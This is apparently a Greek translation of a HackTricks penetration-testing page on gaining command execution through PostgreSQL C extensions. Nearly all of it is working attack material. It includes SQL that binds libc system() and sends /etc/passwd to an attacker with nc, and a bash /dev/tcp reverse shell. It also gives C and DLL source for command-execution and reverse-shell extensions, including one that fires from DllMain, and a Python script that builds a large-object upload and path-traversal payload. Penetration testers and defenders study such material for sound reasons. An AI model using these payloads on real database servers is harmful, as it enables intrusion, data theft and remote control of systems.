RCE with PostgreSQL Extensions

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

PostgreSQL Extensions

Το PostgreSQL έχει αναπτυχθεί με την επεκτασιμότητα ως βασικό χαρακτηριστικό, επιτρέποντάς του να ενσωματώνει ομαλά επεκτάσεις ως αν είχαν ενσωματωμένες λειτουργίες. Αυτές οι επεκτάσεις, ουσιαστικά βιβλιοθήκες που έχουν γραφτεί σε C, εμπλουτίζουν τη βάση δεδομένων με επιπλέον λειτουργίες, τελεστές ή τύπους.

Από την έκδοση 8.1 και μετά, υπάρχει μια συγκεκριμένη απαίτηση για τις βιβλιοθήκες επέκτασης: πρέπει να μεταγλωττίζονται με ένα ειδικό κεφαλίδα. Χωρίς αυτό, το PostgreSQL δεν θα τις εκτελέσει, εξασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και πιθανώς ασφαλείς επεκτάσεις.

Επίσης, θυμηθείτε ότι αν δεν ξέρετε πώς να ανεβάσετε αρχεία στο θύμα καταχρώντας το PostgreSQL, πρέπει να διαβάσετε αυτήν την ανάρτηση.

RCE σε Linux

Για περισσότερες πληροφορίες, ανατρέξτε στο: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Η εκτέλεση εντολών συστήματος από το PostgreSQL 8.1 και προηγούμενες εκδόσεις είναι ένα διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατόν να χρησιμοποιηθεί αυτό: Metasploit module.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Εγγραφή δυαδικού αρχείου από base64

Για να εγγράψετε ένα δυαδικό αρχείο σε ένα αρχείο στο postgres, μπορεί να χρειαστεί να χρησιμοποιήσετε το base64, αυτό θα σας φανεί χρήσιμο για αυτό το σκοπό:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Ωστόσο, όταν προσπαθήσαμε σε μεγαλύτερες εκδόσεις, εμφανίστηκε το ακόλουθο σφάλμα:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Αυτό το σφάλμα εξηγείται στην τεκμηρίωση του PostgreSQL:

Για να εξασφαλίσει ότι ένα αρχείο αντικειμένου που φορτώνεται δυναμικά δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει αν το αρχείο περιέχει ένα "μαγικό μπλοκ" με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα μαγικό μπλοκ απαιτείται από το PostgreSQL από την έκδοση 8.2 και μετά. Για να περιλάβετε ένα μαγικό μπλοκ, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγαίου κώδικα του μοντέλου, μετά την περιληπτική εντολή fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο προκλητική. Ο επιτιθέμενος πρέπει είτε να χρησιμοποιήσει μια βιβλιοθήκη που ήδη υπάρχει στο σύστημα είτε να μεταφορτώσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί έναντι της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "μαγικό μπλοκ". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια βαθύτερη κατανόηση της αρχιτεκτονικής του συστήματος και της συμβατότητας των εκδόσεών του.

Μεταγλώττιση της βιβλιοθήκης

Αποκτήστε την έκδοση του PsotgreSQL με:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Για συμβατότητα, είναι απαραίτητο να ευθυγραμμίζονται οι κύριες εκδόσεις. Επομένως, η συγγραφή μιας βιβλιοθήκης με οποιαδήποτε έκδοση εντός της σειράς 9.6.x θα εξασφαλίσει επιτυχή ενσωμάτωση.

Για να εγκαταστήσετε αυτήν την έκδοση στο σύστημά σας:

apt install postgresql postgresql-server-dev-9.6

Και να συντάξετε τη βιβλιοθήκη:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Στη συνέχεια, ανεβάστε τη μεταγλωττισμένη βιβλιοθήκη και εκτελέστε εντολές με:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Μπορείτε να βρείτε αυτήν τη βιβλιοθήκη προεπιλεγμένη σε διάφορες εκδόσεις του PostgreSQL και μπορείτε ακόμα να αυτοματοποιήσετε αυτήν τη διαδικασία (αν έχετε πρόσβαση στο PostgreSQL) με:

RCE σε Windows

Το παρακάτω DLL παίρνει ως είσοδο το όνομα του δυαδικού αρχείου και τον αριθμό των εκτελέσεων που θέλετε να γίνουν και το εκτελεί:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Μπορείτε να βρείτε το DLL που έχει μεταγλωττιστεί σε αυτό το αρχείο zip:

Μπορείτε να υποδείξετε σε αυτό το DLL ποιο εκτελέσιμο να εκτελεστεί και πόσες φορές να εκτελεστεί, σε αυτό το παράδειγμα θα εκτελεστεί το calc.exe 2 φορές:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

Σε αυτόν τον σύνδεσμο μπορείτε να βρείτε αυτό το αντίστροφο κέλυφος:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Σημειώστε ότι σε αυτήν την περίπτωση ο κακόβουλος κώδικας βρίσκεται μέσα στη συνάρτηση DllMain. Αυτό σημαίνει ότι σε αυτήν την περίπτωση δεν είναι απαραίτητο να εκτελεστεί η φορτωμένη συνάρτηση στο postgresql, απλά φορτώνοντας το DLL θα εκτελεστεί η αντίστροφη κέλυφος:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE στις πιο πρόσφατες εκδόσεις του Prostgres

Στις πιο πρόσφατες εκδόσεις του PostgreSQL, έχουν επιβληθεί περιορισμοί όπου ο superuser απαγορεύεται να φορτώνει αρχεία κοινόχρηστων βιβλιοθηκών εκτός από συγκεκριμένους καταλόγους, όπως το C:\Program Files\PostgreSQL\11\lib στα Windows ή το /var/lib/postgresql/11/lib στα *nix συστήματα. Αυτοί οι κατάλογοι είναι ασφαλισμένοι από εγγραφές με τη χρήση των λογαριασμών NETWORK_SERVICE ή postgres.

Παρά τους περιορισμούς αυτούς, είναι δυνατό για έναν εξουσιοδοτημένο superuser της βάσης δεδομένων να γράψει δυαδικά αρχεία στο σύστημα αρχείων χρησιμοποιώντας "μεγάλα αντικείμενα". Αυτή η δυνατότητα επεκτείνεται στην εγγραφή εντός του καταλόγου C:\Program Files\PostgreSQL\11\data, ο οποίος είναι απαραίτητος για λειτουργίες της βάσης δεδομένων όπως η ενημέρωση ή η δημιουργία πινάκων.

Μια σημαντική ευπάθεια προκύπτει από την εντολή CREATE FUNCTION, η οποία επιτρέπει τη διάβαση καταλόγων στον κατάλογο δεδομένων. Ως εκ τούτου, ένας εξουσιοδοτημένος επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν τη διάβαση για να γράψει ένα αρχείο κοινόχρηστης βιβλιοθήκης στον κατάλογο δεδομένων και στη συνέχεια να το φορτώσει. Αυτή η εκμετάλλευση επιτρέπει στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα, επιτυγχάνοντας εκτέλεση κώδικα στο σύστημα.

Ροή επίθεσης

Καταρχάς, πρέπει να χρησιμοποιήσετε μεγάλα αντικείμενα για να ανεβάσετε το dll. Μπορείτε να δείτε πώς να το κάνετε αυτό εδώ:

pageBig Binary Files Upload (PostgreSQL)

Αφού ανεβάσετε την επέκταση (με το όνομα poc.dll για αυτό το παράδειγμα) στον κατάλογο δεδομένων, μπορείτε να τη φορτώσετε με:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Σημείωση ότι δεν χρειάζεται να προσθέσετε την επέκταση .dll καθώς η συνάρτηση δημιουργίας θα την προσθέσει αυτόματα.

Για περισσότερες πληροφορίες διαβάστε την αρχική δημοσίευση εδώ. Σε αυτήν τη δημοσίευση, αυτός ήταν ο κώδικας που χρησιμοποιήθηκε για τη δημιουργία της επέκτασης postgres (για να μάθετε πώς να μεταγλωττίσετε μια επέκταση postgres διαβάστε οποιαδήποτε από τις προηγούμενες εκδόσεις). Στην ίδια σελίδα δόθηκε αυτό το εκμεταλλευτήριο για να αυτοματοποιήσετε αυτήν την τεχνική:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated